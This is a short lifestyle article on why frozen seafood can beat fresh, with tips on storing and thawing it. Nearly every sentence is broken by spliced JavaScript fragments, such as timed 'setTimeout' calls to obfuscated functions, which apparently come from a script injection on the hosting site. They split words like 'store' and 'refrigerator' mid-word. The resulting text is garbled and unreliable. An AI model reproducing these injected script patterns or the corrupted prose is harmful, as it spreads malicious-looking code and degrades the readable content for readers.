Frozen Seafood:...

IN Lifestyle 02-May-2016

Eating frozen seafood used dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to seem like a punishment. But with dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today's technology, the fish you pull from your freezer is delicious, nutritious, more economical, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and often better for the environment—dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and fishermen—than fresh-caught seafood. Why Buy Frozen? • Reduce your environmental impact. Fresh fish has dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be shipped by air dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reach most consumers; frozen can be freighted by ship, rail, or truck with significantly lower environmental impact. • Keep fishermen safer. Without the urgent pressure dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to deliver fresh fish immediately, fishermen can have a safer time line in which dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bring their catch from sea dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to table. They also can choose dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fish only in the best conditions. • Reduce waste in processing. By freezing fish at sea, fishermen can use economies of scale dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to consolidate processing, adding value with volume dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}total utilization of the fish. • Use only what you need. By pulling from the freezer exactly the amount you need—when you need it—you avoid wasting highly perishable fresh fish. • Get the best seafood year-round. Taste dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and nutrition are locked in when fish is frozen at sea, dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and you're never restricted dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to just what's available fresh dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today. How dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore Frozen Seafood Most of the seafood you buy frozen comes prepackaged in a vacuum-sealed bag. Sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore it in your freezer for up dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to five months. Do not refreeze, as you will lose quality. How dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Thaw Frozen Seafood Thaw frozen seafood in the refrigeradom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor overnight, placing it in a dish dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to catch any water that melts off. Avoid thawing at room temperature or in warm water, as it will negatively affect the texture. Courtesy: National Geographic Magazine Phodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Credit: Ray Kachadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torian, Getty Images